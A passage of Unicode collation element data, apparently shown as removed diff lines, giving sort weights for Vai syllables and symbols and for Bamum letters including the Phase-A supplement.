-A518  ; [.35FD.0020.0002] # VAI SYLLABLE ZEE
-A519  ; [.35FE.0020.0002] # VAI SYLLABLE ZHEE
-A51A  ; [.35FF.0020.0002] # VAI SYLLABLE CEE
-A51B  ; [.3600.0020.0002] # VAI SYLLABLE JEE
-A51C  ; [.3601.0020.0002] # VAI SYLLABLE NJEE
-A51D  ; [.3602.0020.0002] # VAI SYLLABLE YEE
-A51E  ; [.3603.0020.0002] # VAI SYLLABLE KEE
-A614  ; [.3603.0020.0004][.36F0.0020.0004] # VAI SYMBOL KEENG
-A51F  ; [.3604.0020.0002] # VAI SYLLABLE NGGEE
-A520  ; [.3605.0020.0002] # VAI SYLLABLE GEE
-A521  ; [.3606.0020.0002] # VAI SYLLABLE MEE
-A522  ; [.3607.0020.0002] # VAI SYLLABLE NEE
-A523  ; [.3608.0020.0002] # VAI SYLLABLE NYEE
-A524  ; [.3609.0020.0002] # VAI SYLLABLE I
-A525  ; [.360A.0020.0002] # VAI SYLLABLE IN
-A526  ; [.360B.0020.0002] # VAI SYLLABLE HI
-A527  ; [.360C.0020.0002] # VAI SYLLABLE HIN
-A528  ; [.360D.0020.0002] # VAI SYLLABLE WI
-A529  ; [.360E.0020.0002] # VAI SYLLABLE WIN
-A52A  ; [.360F.0020.0002] # VAI SYLLABLE PI
-A52B  ; [.3610.0020.0002] # VAI SYLLABLE BHI
-A52C  ; [.3611.0020.0002] # VAI SYLLABLE BI
-A52D  ; [.3612.0020.0002] # VAI SYLLABLE MBI
-A52E  ; [.3613.0020.0002] # VAI SYLLABLE KPI
-A52F  ; [.3614.0020.0002] # VAI SYLLABLE MGBI
-A530  ; [.3615.0020.0002] # VAI SYLLABLE GBI
-A531  ; [.3616.0020.0002] # VAI SYLLABLE FI
-A532  ; [.3617.0020.0002] # VAI SYLLABLE VI
-A533  ; [.3618.0020.0002] # VAI SYLLABLE TI
-A615  ; [.3618.0020.0004][.36F0.0020.0004] # VAI SYMBOL TING
-A534  ; [.3619.0020.0002] # VAI SYLLABLE THI
-A535  ; [.361A.0020.0002] # VAI SYLLABLE DHI
-A536  ; [.361B.0020.0002] # VAI SYLLABLE DHHI
-A537  ; [.361C.0020.0002] # VAI SYLLABLE LI
-A538  ; [.361D.0020.0002] # VAI SYLLABLE RI
-A539  ; [.361E.0020.0002] # VAI SYLLABLE DI
-A53A  ; [.361F.0020.0002] # VAI SYLLABLE NDI
-A53B  ; [.3620.0020.0002] # VAI SYLLABLE SI
-A53C  ; [.3621.0020.0002] # VAI SYLLABLE SHI
-A53D  ; [.3622.0020.0002] # VAI SYLLABLE ZI
-A53E  ; [.3623.0020.0002] # VAI SYLLABLE ZHI
-A53F  ; [.3624.0020.0002] # VAI SYLLABLE CI
-A540  ; [.3625.0020.0002] # VAI SYLLABLE JI
-A541  ; [.3626.0020.0002] # VAI SYLLABLE NJI
-A542  ; [.3627.0020.0002] # VAI SYLLABLE YI
-A543  ; [.3628.0020.0002] # VAI SYLLABLE KI
-A544  ; [.3629.0020.0002] # VAI SYLLABLE NGGI
-A545  ; [.362A.0020.0002] # VAI SYLLABLE GI
-A546  ; [.362B.0020.0002] # VAI SYLLABLE MI
-A547  ; [.362C.0020.0002] # VAI SYLLABLE NI
-A616  ; [.362C.0020.0004][.36F1.0020.0004] # VAI SYMBOL NII
-A548  ; [.362D.0020.0002] # VAI SYLLABLE NYI
-A549  ; [.362E.0020.0002] # VAI SYLLABLE A
-A54A  ; [.362F.0020.0002] # VAI SYLLABLE AN
-A54B  ; [.3630.0020.0002] # VAI SYLLABLE NGAN
-A54C  ; [.3631.0020.0002] # VAI SYLLABLE HA
-A54D  ; [.3632.0020.0002] # VAI SYLLABLE HAN
-A54E  ; [.3633.0020.0002] # VAI SYLLABLE WA
-A54F  ; [.3634.0020.0002] # VAI SYLLABLE WAN
-A550  ; [.3635.0020.0002] # VAI SYLLABLE PA
-A551  ; [.3636.0020.0002] # VAI SYLLABLE BHA
-A552  ; [.3637.0020.0002] # VAI SYLLABLE BA
-A617  ; [.3637.0020.0004][.36F0.0020.0004] # VAI SYMBOL BANG
-A553  ; [.3638.0020.0002] # VAI SYLLABLE MBA
-A554  ; [.3639.0020.0002] # VAI SYLLABLE KPA
-A555  ; [.363A.0020.0002] # VAI SYLLABLE KPAN
-A556  ; [.363B.0020.0002] # VAI SYLLABLE MGBA
-A557  ; [.363C.0020.0002] # VAI SYLLABLE GBA
-A558  ; [.363D.0020.0002] # VAI SYLLABLE FA
-A610  ; [.363D.0020.0004] # VAI SYLLABLE NDOLE FA
-A618  ; [.363D.0020.0004][.36F1.0020.0004] # VAI SYMBOL FAA
-A559  ; [.363E.0020.0002] # VAI SYLLABLE VA
-A55A  ; [.363F.0020.0002] # VAI SYLLABLE TA
-A619  ; [.363F.0020.0004][.36F1.0020.0004] # VAI SYMBOL TAA
-A55B  ; [.3640.0020.0002] # VAI SYLLABLE THA
-A55C  ; [.3641.0020.0002] # VAI SYLLABLE DHA
-A55D  ; [.3642.0020.0002] # VAI SYLLABLE DHHA
-A55E  ; [.3643.0020.0002] # VAI SYLLABLE LA
-A55F  ; [.3644.0020.0002] # VAI SYLLABLE RA
-A560  ; [.3645.0020.0002] # VAI SYLLABLE DA
-A61A  ; [.3645.0020.0004][.36F0.0020.0004] # VAI SYMBOL DANG
-A561  ; [.3646.0020.0002] # VAI SYLLABLE NDA
-A562  ; [.3647.0020.0002] # VAI SYLLABLE SA
-A563  ; [.3648.0020.0002] # VAI SYLLABLE SHA
-A564  ; [.3649.0020.0002] # VAI SYLLABLE ZA
-A565  ; [.364A.0020.0002] # VAI SYLLABLE ZHA
-A566  ; [.364B.0020.0002] # VAI SYLLABLE CA
-A567  ; [.364C.0020.0002] # VAI SYLLABLE JA
-A568  ; [.364D.0020.0002] # VAI SYLLABLE NJA
-A569  ; [.364E.0020.0002] # VAI SYLLABLE YA
-A56A  ; [.364F.0020.0002] # VAI SYLLABLE KA
-A611  ; [.364F.0020.0004] # VAI SYLLABLE NDOLE KA
-A56B  ; [.3650.0020.0002] # VAI SYLLABLE KAN
-A56C  ; [.3651.0020.0002] # VAI SYLLABLE NGGA
-A56D  ; [.3652.0020.0002] # VAI SYLLABLE GA
-A56E  ; [.3653.0020.0002] # VAI SYLLABLE MA
-A62A  ; [.3653.0020.0004] # VAI SYLLABLE NDOLE MA
-A56F  ; [.3654.0020.0002] # VAI SYLLABLE NA
-A570  ; [.3655.0020.0002] # VAI SYLLABLE NYA
-A571  ; [.3656.0020.0002] # VAI SYLLABLE OO
-A572  ; [.3657.0020.0002] # VAI SYLLABLE OON
-A573  ; [.3658.0020.0002] # VAI SYLLABLE HOO
-A574  ; [.3659.0020.0002] # VAI SYLLABLE WOO
-A575  ; [.365A.0020.0002] # VAI SYLLABLE WOON
-A576  ; [.365B.0020.0002] # VAI SYLLABLE POO
-A577  ; [.365C.0020.0002] # VAI SYLLABLE BHOO
-A578  ; [.365D.0020.0002] # VAI SYLLABLE BOO
-A579  ; [.365E.0020.0002] # VAI SYLLABLE MBOO
-A57A  ; [.365F.0020.0002] # VAI SYLLABLE KPOO
-A57B  ; [.3660.0020.0002] # VAI SYLLABLE MGBOO
-A57C  ; [.3661.0020.0002] # VAI SYLLABLE GBOO
-A57D  ; [.3662.0020.0002] # VAI SYLLABLE FOO
-A57E  ; [.3663.0020.0002] # VAI SYLLABLE VOO
-A57F  ; [.3664.0020.0002] # VAI SYLLABLE TOO
-A580  ; [.3665.0020.0002] # VAI SYLLABLE THOO
-A581  ; [.3666.0020.0002] # VAI SYLLABLE DHOO
-A582  ; [.3667.0020.0002] # VAI SYLLABLE DHHOO
-A583  ; [.3668.0020.0002] # VAI SYLLABLE LOO
-A584  ; [.3669.0020.0002] # VAI SYLLABLE ROO
-A585  ; [.366A.0020.0002] # VAI SYLLABLE DOO
-A61B  ; [.366A.0020.0004][.36F0.0020.0004] # VAI SYMBOL DOONG
-A586  ; [.366B.0020.0002] # VAI SYLLABLE NDOO
-A587  ; [.366C.0020.0002] # VAI SYLLABLE SOO
-A612  ; [.366C.0020.0004] # VAI SYLLABLE NDOLE SOO
-A588  ; [.366D.0020.0002] # VAI SYLLABLE SHOO
-A589  ; [.366E.0020.0002] # VAI SYLLABLE ZOO
-A58A  ; [.366F.0020.0002] # VAI SYLLABLE ZHOO
-A58B  ; [.3670.0020.0002] # VAI SYLLABLE COO
-A58C  ; [.3671.0020.0002] # VAI SYLLABLE JOO
-A58D  ; [.3672.0020.0002] # VAI SYLLABLE NJOO
-A58E  ; [.3673.0020.0002] # VAI SYLLABLE YOO
-A58F  ; [.3674.0020.0002] # VAI SYLLABLE KOO
-A590  ; [.3675.0020.0002] # VAI SYLLABLE NGGOO
-A591  ; [.3676.0020.0002] # VAI SYLLABLE GOO
-A592  ; [.3677.0020.0002] # VAI SYLLABLE MOO
-A593  ; [.3678.0020.0002] # VAI SYLLABLE NOO
-A594  ; [.3679.0020.0002] # VAI SYLLABLE NYOO
-A595  ; [.367A.0020.0002] # VAI SYLLABLE U
-A596  ; [.367B.0020.0002] # VAI SYLLABLE UN
-A597  ; [.367C.0020.0002] # VAI SYLLABLE HU
-A598  ; [.367D.0020.0002] # VAI SYLLABLE HUN
-A599  ; [.367E.0020.0002] # VAI SYLLABLE WU
-A59A  ; [.367F.0020.0002] # VAI SYLLABLE WUN
-A59B  ; [.3680.0020.0002] # VAI SYLLABLE PU
-A59C  ; [.3681.0020.0002] # VAI SYLLABLE BHU
-A59D  ; [.3682.0020.0002] # VAI SYLLABLE BU
-A59E  ; [.3683.0020.0002] # VAI SYLLABLE MBU
-A59F  ; [.3684.0020.0002] # VAI SYLLABLE KPU
-A5A0  ; [.3685.0020.0002] # VAI SYLLABLE MGBU
-A5A1  ; [.3686.0020.0002] # VAI SYLLABLE GBU
-A5A2  ; [.3687.0020.0002] # VAI SYLLABLE FU
-A5A3  ; [.3688.0020.0002] # VAI SYLLABLE VU
-A5A4  ; [.3689.0020.0002] # VAI SYLLABLE TU
-A5A5  ; [.368A.0020.0002] # VAI SYLLABLE THU
-A5A6  ; [.368B.0020.0002] # VAI SYLLABLE DHU
-A5A7  ; [.368C.0020.0002] # VAI SYLLABLE DHHU
-A5A8  ; [.368D.0020.0002] # VAI SYLLABLE LU
-A5A9  ; [.368E.0020.0002] # VAI SYLLABLE RU
-A5AA  ; [.368F.0020.0002] # VAI SYLLABLE DU
-A5AB  ; [.3690.0020.0002] # VAI SYLLABLE NDU
-A5AC  ; [.3691.0020.0002] # VAI SYLLABLE SU
-A5AD  ; [.3692.0020.0002] # VAI SYLLABLE SHU
-A5AE  ; [.3693.0020.0002] # VAI SYLLABLE ZU
-A5AF  ; [.3694.0020.0002] # VAI SYLLABLE ZHU
-A5B0  ; [.3695.0020.0002] # VAI SYLLABLE CU
-A5B1  ; [.3696.0020.0002] # VAI SYLLABLE JU
-A5B2  ; [.3697.0020.0002] # VAI SYLLABLE NJU
-A5B3  ; [.3698.0020.0002] # VAI SYLLABLE YU
-A5B4  ; [.3699.0020.0002] # VAI SYLLABLE KU
-A61C  ; [.3699.0020.0004][.36F0.0020.0004] # VAI SYMBOL KUNG
-A5B5  ; [.369A.0020.0002] # VAI SYLLABLE NGGU
-A5B6  ; [.369B.0020.0002] # VAI SYLLABLE GU
-A5B7  ; [.369C.0020.0002] # VAI SYLLABLE MU
-A5B8  ; [.369D.0020.0002] # VAI SYLLABLE NU
-A5B9  ; [.369E.0020.0002] # VAI SYLLABLE NYU
-A5BA  ; [.369F.0020.0002] # VAI SYLLABLE O
-A5BB  ; [.36A0.0020.0002] # VAI SYLLABLE ON
-A5BC  ; [.36A1.0020.0002] # VAI SYLLABLE NGON
-A5BD  ; [.36A2.0020.0002] # VAI SYLLABLE HO
-A5BE  ; [.36A3.0020.0002] # VAI SYLLABLE HON
-A5BF  ; [.36A4.0020.0002] # VAI SYLLABLE WO
-A5C0  ; [.36A5.0020.0002] # VAI SYLLABLE WON
-A5C1  ; [.36A6.0020.0002] # VAI SYLLABLE PO
-A5C2  ; [.36A7.0020.0002] # VAI SYLLABLE BHO
-A5C3  ; [.36A8.0020.0002] # VAI SYLLABLE BO
-A5C4  ; [.36A9.0020.0002] # VAI SYLLABLE MBO
-A5C5  ; [.36AA.0020.0002] # VAI SYLLABLE KPO
-A5C6  ; [.36AB.0020.0002] # VAI SYLLABLE MGBO
-A5C7  ; [.36AC.0020.0002] # VAI SYLLABLE GBO
-A5C8  ; [.36AD.0020.0002] # VAI SYLLABLE GBON
-A5C9  ; [.36AE.0020.0002] # VAI SYLLABLE FO
-A5CA  ; [.36AF.0020.0002] # VAI SYLLABLE VO
-A5CB  ; [.36B0.0020.0002] # VAI SYLLABLE TO
-A61D  ; [.36B0.0020.0004][.36F0.0020.0004] # VAI SYMBOL TONG
-A5CC  ; [.36B1.0020.0002] # VAI SYLLABLE THO
-A5CD  ; [.36B2.0020.0002] # VAI SYLLABLE DHO
-A5CE  ; [.36B3.0020.0002] # VAI SYLLABLE DHHO
-A5CF  ; [.36B4.0020.0002] # VAI SYLLABLE LO
-A5D0  ; [.36B5.0020.0002] # VAI SYLLABLE RO
-A5D1  ; [.36B6.0020.0002] # VAI SYLLABLE DO
-A62B  ; [.36B6.0020.0004] # VAI SYLLABLE NDOLE DO
-A61E  ; [.36B6.0020.0004][.36F1.0020.0004] # VAI SYMBOL DO-O
-A5D2  ; [.36B7.0020.0002] # VAI SYLLABLE NDO
-A5D3  ; [.36B8.0020.0002] # VAI SYLLABLE SO
-A5D4  ; [.36B9.0020.0002] # VAI SYLLABLE SHO
-A5D5  ; [.36BA.0020.0002] # VAI SYLLABLE ZO
-A5D6  ; [.36BB.0020.0002] # VAI SYLLABLE ZHO
-A5D7  ; [.36BC.0020.0002] # VAI SYLLABLE CO
-A5D8  ; [.36BD.0020.0002] # VAI SYLLABLE JO
-A61F  ; [.36BD.0020.0004][.36F0.0020.0004] # VAI SYMBOL JONG
-A5D9  ; [.36BE.0020.0002] # VAI SYLLABLE NJO
-A5DA  ; [.36BF.0020.0002] # VAI SYLLABLE YO
-A5DB  ; [.36C0.0020.0002] # VAI SYLLABLE KO
-A5DC  ; [.36C1.0020.0002] # VAI SYLLABLE NGGO
-A5DD  ; [.36C2.0020.0002] # VAI SYLLABLE GO
-A5DE  ; [.36C3.0020.0002] # VAI SYLLABLE MO
-A5DF  ; [.36C4.0020.0002] # VAI SYLLABLE NO
-A5E0  ; [.36C5.0020.0002] # VAI SYLLABLE NYO
-A5E1  ; [.36C6.0020.0002] # VAI SYLLABLE E
-A5E2  ; [.36C7.0020.0002] # VAI SYLLABLE EN
-A5E3  ; [.36C8.0020.0002] # VAI SYLLABLE NGEN
-A5E4  ; [.36C9.0020.0002] # VAI SYLLABLE HE
-A5E5  ; [.36CA.0020.0002] # VAI SYLLABLE HEN
-A5E6  ; [.36CB.0020.0002] # VAI SYLLABLE WE
-A5E7  ; [.36CC.0020.0002] # VAI SYLLABLE WEN
-A5E8  ; [.36CD.0020.0002] # VAI SYLLABLE PE
-A5E9  ; [.36CE.0020.0002] # VAI SYLLABLE BHE
-A5EA  ; [.36CF.0020.0002] # VAI SYLLABLE BE
-A5EB  ; [.36D0.0020.0002] # VAI SYLLABLE MBE
-A5EC  ; [.36D1.0020.0002] # VAI SYLLABLE KPE
-A5ED  ; [.36D2.0020.0002] # VAI SYLLABLE KPEN
-A5EE  ; [.36D3.0020.0002] # VAI SYLLABLE MGBE
-A5EF  ; [.36D4.0020.0002] # VAI SYLLABLE GBE
-A5F0  ; [.36D5.0020.0002] # VAI SYLLABLE GBEN
-A5F1  ; [.36D6.0020.0002] # VAI SYLLABLE FE
-A5F2  ; [.36D7.0020.0002] # VAI SYLLABLE VE
-A5F3  ; [.36D8.0020.0002] # VAI SYLLABLE TE
-A5F4  ; [.36D9.0020.0002] # VAI SYLLABLE THE
-A5F5  ; [.36DA.0020.0002] # VAI SYLLABLE DHE
-A5F6  ; [.36DB.0020.0002] # VAI SYLLABLE DHHE
-A5F7  ; [.36DC.0020.0002] # VAI SYLLABLE LE
-A5F8  ; [.36DD.0020.0002] # VAI SYLLABLE RE
-A5F9  ; [.36DE.0020.0002] # VAI SYLLABLE DE
-A5FA  ; [.36DF.0020.0002] # VAI SYLLABLE NDE
-A5FB  ; [.36E0.0020.0002] # VAI SYLLABLE SE
-A5FC  ; [.36E1.0020.0002] # VAI SYLLABLE SHE
-A5FD  ; [.36E2.0020.0002] # VAI SYLLABLE ZE
-A5FE  ; [.36E3.0020.0002] # VAI SYLLABLE ZHE
-A5FF  ; [.36E4.0020.0002] # VAI SYLLABLE CE
-A600  ; [.36E5.0020.0002] # VAI SYLLABLE JE
-A601  ; [.36E6.0020.0002] # VAI SYLLABLE NJE
-A602  ; [.36E7.0020.0002] # VAI SYLLABLE YE
-A603  ; [.36E8.0020.0002] # VAI SYLLABLE KE
-A604  ; [.36E9.0020.0002] # VAI SYLLABLE NGGE
-A605  ; [.36EA.0020.0002] # VAI SYLLABLE NGGEN
-A606  ; [.36EB.0020.0002] # VAI SYLLABLE GE
-A607  ; [.36EC.0020.0002] # VAI SYLLABLE GEN
-A608  ; [.36ED.0020.0002] # VAI SYLLABLE ME
-A609  ; [.36EE.0020.0002] # VAI SYLLABLE NE
-A60A  ; [.36EF.0020.0002] # VAI SYLLABLE NYE
-A60B  ; [.36F0.0020.0002] # VAI SYLLABLE NG
-A60C  ; [.36F1.0020.0002] # VAI SYLLABLE LENGTHENER
-A6A0  ; [.36F2.0020.0002] # BAMUM LETTER A
-A6A1  ; [.36F3.0020.0002] # BAMUM LETTER KA
-A6A2  ; [.36F4.0020.0002] # BAMUM LETTER U
-A6A3  ; [.36F5.0020.0002] # BAMUM LETTER KU
-A6A4  ; [.36F6.0020.0002] # BAMUM LETTER EE
-A6A5  ; [.36F7.0020.0002] # BAMUM LETTER REE
-A6A6  ; [.36F8.0020.0002] # BAMUM LETTER TAE
-A6A7  ; [.36F9.0020.0002] # BAMUM LETTER O
-A6A8  ; [.36FA.0020.0002] # BAMUM LETTER NYI
-A6A9  ; [.36FB.0020.0002] # BAMUM LETTER I
-A6AA  ; [.36FC.0020.0002] # BAMUM LETTER LA
-A6AB  ; [.36FD.0020.0002] # BAMUM LETTER PA
-A6AC  ; [.36FE.0020.0002] # BAMUM LETTER RII
-A6AD  ; [.36FF.0020.0002] # BAMUM LETTER RIEE
-A6AE  ; [.3700.0020.0002] # BAMUM LETTER LEEEE
-A6AF  ; [.3701.0020.0002] # BAMUM LETTER MEEEE
-A6B0  ; [.3702.0020.0002] # BAMUM LETTER TAA
-A6B1  ; [.3703.0020.0002] # BAMUM LETTER NDAA
-A6B2  ; [.3704.0020.0002] # BAMUM LETTER NJAEM
-A6B3  ; [.3705.0020.0002] # BAMUM LETTER M
-A6B4  ; [.3706.0020.0002] # BAMUM LETTER SUU
-A6B5  ; [.3707.0020.0002] # BAMUM LETTER MU
-A6B6  ; [.3708.0020.0002] # BAMUM LETTER SHII
-A6B7  ; [.3709.0020.0002] # BAMUM LETTER SI
-A6B8  ; [.370A.0020.0002] # BAMUM LETTER SHEUX
-A6B9  ; [.370B.0020.0002] # BAMUM LETTER SEUX
-A6BA  ; [.370C.0020.0002] # BAMUM LETTER KYEE
-A6BB  ; [.370D.0020.0002] # BAMUM LETTER KET
-A6BC  ; [.370E.0020.0002] # BAMUM LETTER NUAE
-A6BD  ; [.370F.0020.0002] # BAMUM LETTER NU
-A6BE  ; [.3710.0020.0002] # BAMUM LETTER NJUAE
-A6BF  ; [.3711.0020.0002] # BAMUM LETTER YOQ
-A6C0  ; [.3712.0020.0002] # BAMUM LETTER SHU
-A6C1  ; [.3713.0020.0002] # BAMUM LETTER YUQ
-A6C2  ; [.3714.0020.0002] # BAMUM LETTER YA
-A6C3  ; [.3715.0020.0002] # BAMUM LETTER NSHA
-A6C4  ; [.3716.0020.0002] # BAMUM LETTER KEUX
-A6C5  ; [.3717.0020.0002] # BAMUM LETTER PEUX
-A6C6  ; [.3718.0020.0002] # BAMUM LETTER NJEE
-A6C7  ; [.3719.0020.0002] # BAMUM LETTER NTEE
-A6C8  ; [.371A.0020.0002] # BAMUM LETTER PUE
-A6C9  ; [.371B.0020.0002] # BAMUM LETTER WUE
-A6CA  ; [.371C.0020.0002] # BAMUM LETTER PEE
-A6CB  ; [.371D.0020.0002] # BAMUM LETTER FEE
-A6CC  ; [.371E.0020.0002] # BAMUM LETTER RU
-A6CD  ; [.371F.0020.0002] # BAMUM LETTER LU
-A6CE  ; [.3720.0020.0002] # BAMUM LETTER MI
-A6CF  ; [.3721.0020.0002] # BAMUM LETTER NI
-A6D0  ; [.3722.0020.0002] # BAMUM LETTER REUX
-A6D1  ; [.3723.0020.0002] # BAMUM LETTER RAE
-A6D2  ; [.3724.0020.0002] # BAMUM LETTER KEN
-A6D3  ; [.3725.0020.0002] # BAMUM LETTER NGKWAEN
-A6D4  ; [.3726.0020.0002] # BAMUM LETTER NGGA
-A6D5  ; [.3727.0020.0002] # BAMUM LETTER NGA
-A6D6  ; [.3728.0020.0002] # BAMUM LETTER SHO
-A6D7  ; [.3729.0020.0002] # BAMUM LETTER PUAE
-A6D8  ; [.372A.0020.0002] # BAMUM LETTER FU
-A6D9  ; [.372B.0020.0002] # BAMUM LETTER FOM
-A6DA  ; [.372C.0020.0002] # BAMUM LETTER WA
-A6DB  ; [.372D.0020.0002] # BAMUM LETTER NA
-A6DC  ; [.372E.0020.0002] # BAMUM LETTER LI
-A6DD  ; [.372F.0020.0002] # BAMUM LETTER PI
-A6DE  ; [.3730.0020.0002] # BAMUM LETTER LOQ
-A6DF  ; [.3731.0020.0002] # BAMUM LETTER KO
-A6E0  ; [.3732.0020.0002] # BAMUM LETTER MBEN
-A6E1  ; [.3733.0020.0002] # BAMUM LETTER REN
-A6E2  ; [.3734.0020.0002] # BAMUM LETTER MEN
-A6E3  ; [.3735.0020.0002] # BAMUM LETTER MA
-A6E4  ; [.3736.0020.0002] # BAMUM LETTER TI
-A6E5  ; [.3737.0020.0002] # BAMUM LETTER KI
-A6E6  ; [.3738.0020.0002] # BAMUM LETTER MO
-A6E7  ; [.3739.0020.0002] # BAMUM LETTER MBAA
-A6E8  ; [.373A.0020.0002] # BAMUM LETTER TET
-A6E9  ; [.373B.0020.0002] # BAMUM LETTER KPA
-A6EA  ; [.373C.0020.0002] # BAMUM LETTER TEN
-A6EB  ; [.373D.0020.0002] # BAMUM LETTER NTUU
-A6EC  ; [.373E.0020.0002] # BAMUM LETTER SAMBA
-A6ED  ; [.373F.0020.0002] # BAMUM LETTER FAAMAE
-A6EE  ; [.3740.0020.0002] # BAMUM LETTER KOVUU
-A6EF  ; [.3741.0020.0002] # BAMUM LETTER KOGHOM
-16800 ; [.3742.0020.0002] # BAMUM LETTER PHASE-A NGKUE MFON
-16801 ; [.3743.0020.0002] # BAMUM LETTER PHASE-A GBIEE FON
-16802 ; [.3744.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMGBIEE
-16803 ; [.3745.0020.0002] # BAMUM LETTER PHASE-A PON MFON PIPAEMBA
-16804 ; [.3746.0020.0002] # BAMUM LETTER PHASE-A NAA MFON
-16805 ; [.3747.0020.0002] # BAMUM LETTER PHASE-A SHUENSHUET
-16806 ; [.3748.0020.0002] # BAMUM LETTER PHASE-A TITA MFON
-16807 ; [.3749.0020.0002] # BAMUM LETTER PHASE-A NZA MFON
-16808 ; [.374A.0020.0002] # BAMUM LETTER PHASE-A SHINDA PA NJI
-16809 ; [.374B.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMGBIEE
-1680A ; [.374C.0020.0002] # BAMUM LETTER PHASE-A PON PA NJI PIPAEMBA
-1680B ; [.374D.0020.0002] # BAMUM LETTER PHASE-A MAEMBGBIEE
-1680C ; [.374E.0020.0002] # BAMUM LETTER PHASE-A TU MAEMBA
-1680D ; [.374F.0020.0002] # BAMUM LETTER PHASE-A NGANGU
-1680E ; [.3750.0020.0002] # BAMUM LETTER PHASE-A MAEMVEUX
-1680F ; [.3751.0020.0002] # BAMUM LETTER PHASE-A MANSUAE
-16810 ; [.3752.0020.0002] # BAMUM LETTER PHASE-A MVEUAENGAM
-16811 ; [.3753.0020.0002] # BAMUM LETTER PHASE-A SEUNYAM
-16812 ; [.3754.0020.0002] # BAMUM LETTER PHASE-A NTOQPEN
-16813 ; [.3755.0020.0002] # BAMUM LETTER PHASE-A KEUKEUTNDA
-16814 ; [.3756.0020.0002] # BAMUM LETTER PHASE-A NKINDI
-16815 ; [.3757.0020.0002] # BAMUM LETTER PHASE-A SUU
-16816 ; [.3758.0020.0002] # BAMUM LETTER PHASE-A NGKUENZEUM
-16817 ; [.3759.0020.0002] # BAMUM LETTER PHASE-A LAPAQ
-16818 ; [.375A.0020.0002] # BAMUM LETTER PHASE-A LET KUT
-16819 ; [.375B.0020.0002] # BAMUM LETTER PHASE-A NTAP MFAA
-1681A ; [.375C.0020.0002] # BAMUM LETTER PHASE-A MAEKEUP
-1681B ; [.375D.0020.0002] # BAMUM LETTER PHASE-A PASHAE
-1681C ; [.375E.0020.0002] # BAMUM LETTER PHASE-A GHEUAERAE
-1681D ; [.375F.0020.0002] # BAMUM LETTER PHASE-A PAMSHAE
-1681E ; [.3760.0020.0002] # BAMUM LETTER PHASE-A MON NGGEUAET
-1681F ; [.3761.0020.0002] # BAMUM LETTER PHASE-A NZUN MEUT
-16820 ; [.3762.0020.0002] # BAMUM LETTER PHASE-A U YUQ NAE
-16821 ; [.3763.0020.0002] # BAMUM LETTER PHASE-A GHEUAEGHEUAE
-16822 ; [.3764.0020.0002] # BAMUM LETTER PHASE-A NTAP NTAA
-16823 ; [.3765.0020.0002] # BAMUM LETTER PHASE-A SISA
-16824 ; [.3766.0020.0002] # BAMUM LETTER PHASE-A MGBASA
-16825 ; [.3767.0020.0002] # BAMUM LETTER PHASE-A MEUNJOMNDEUQ
-16826 ; [.3768.0020.0002] # BAMUM LETTER PHASE-A MOOMPUQ
-16827 ; [.3769.0020.0002] # BAMUM LETTER PHASE-A KAFA
-16828 ; [.376A.0020.0002] # BAMUM LETTER PHASE-A PA LEERAEWA
-16829 ; [.376B.0020.0002] # BAMUM LETTER PHASE-A NDA LEERAEWA
-1682A ; [.376C.0020.0002] # BAMUM LETTER PHASE-A PET
-1682B ; [.376D.0020.0002] # BAMUM LETTER PHASE-A MAEMKPEN
-1682C ; [.376E.0020.0002] # BAMUM LETTER PHASE-A NIKA
-1682D ; [.376F.0020.0002] # BAMUM LETTER PHASE-A PUP
-1682E ; [.3770.0020.0002] # BAMUM LETTER PHASE-A TUAEP
-1682F ; [.3771.0020.0002] # BAMUM LETTER PHASE-A LUAEP
-16830 ; [.3772.0020.0002] # BAMUM LETTER PHASE-A SONJAM
-16831 ; [.3773.0020.0002] # BAMUM LETTER PHASE-A TEUTEUWEN
-16832 ; [.3774.0020.0002] # BAMUM LETTER PHASE-A MAENYI
-16833 ; [.3775.0020.0002] # BAMUM LETTER PHASE-A KET
-16834 ; [.3776.0020.0002] # BAMUM LETTER PHASE-A NDAANGGEUAET
-16835 ; [.3777.0020.0002] # BAMUM LETTER PHASE-A KUOQ
-16836 ; [.3778.0020.0002] # BAMUM LETTER PHASE-A MOOMEUT
-16837 ; [.3779.0020.0002] # BAMUM LETTER PHASE-A SHUM
-16838 ; [.377A.0020.0002] # BAMUM LETTER PHASE-A LOMMAE
-16839 ; [.377B.0020.0002] # BAMUM LETTER PHASE-A FIRI
-1683A ; [.377C.0020.0002] # BAMUM LETTER PHASE-A ROM
-1683B ; [.377D.0020.0002] # BAMUM LETTER PHASE-A KPOQ
-1683C ; [.377E.0020.0002] # BAMUM LETTER PHASE-A SOQ
-1683D ; [.377F.0020.0002] # BAMUM LETTER PHASE-A MAP PIEET
-1683E ; [.3780.0020.0002] # BAMUM LETTER PHASE-A SHIRAE
-1683F ; [.3781.0020.0002] # BAMUM LETTER PHASE-A NTAP
-16840 ; [.3782.0020.0002] # BAMUM LETTER PHASE-A SHOQ NSHUT YUM
-16841 ; [.3783.0020.0002] # BAMUM LETTER PHASE-A NYIT MONGKEUAEQ
-16842 ; [.3784.0020.0002] # BAMUM LETTER PHASE-A PAARAE
-16843 ; [.3785.0020.0002] # BAMUM LETTER PHASE-A NKAARAE
-16844 ; [.3786.0020.0002] # BAMUM LETTER PHASE-A UNKNOWN
-16845 ; [.3787.0020.0002] # BAMUM LETTER PHASE-A NGGEN
-16846 ; [.3788.0020.0002] # BAMUM LETTER PHASE-A MAESI
-16847 ; [.3789.0020.0002] # BAMUM LETTER PHASE-A NJAM
-16848 ; [.378A.0020.0002] # BAMUM LETTER PHASE-A MBANYI
-16849 ; [.378B.0020.0002] # BAMUM LETTER PHASE-A NYET
-1684A ; [.378C.0020.0002] # BAMUM LETTER PHASE-A TEUAEN
-1684B ; [.378D.0020.0002] # BAMUM LETTER PHASE-A SOT
-1684C ; [.378E.0020.0002] # BAMUM LETTER PHASE-A PAAM
-1684D ; [.378F.0020.0002] # BAMUM LETTER PHASE-A NSHIEE
-1684E ; [.3790.0020.0002] # BAMUM LETTER PHASE-A MAEM
-1684F ; [.3791.0020.0002] # BAMUM LETTER PHASE-A NYI
-16850 ; [.3792.0020.0002] # BAMUM LETTER PHASE-A KAQ
-16851 ; [.3793.0020.0002] # BAMUM LETTER PHASE-A NSHA
-16852 ; [.3794.0020.0002] # BAMUM LETTER PHASE-A VEE
-16853 ; [.3795.0020.0002] # BAMUM LETTER PHASE-A LU
-16854 ; [.3796.0020.0002] # BAMUM LETTER PHASE-A NEN
-16855 ; [.3797.0020.0002] # BAMUM LETTER PHASE-A NAQ
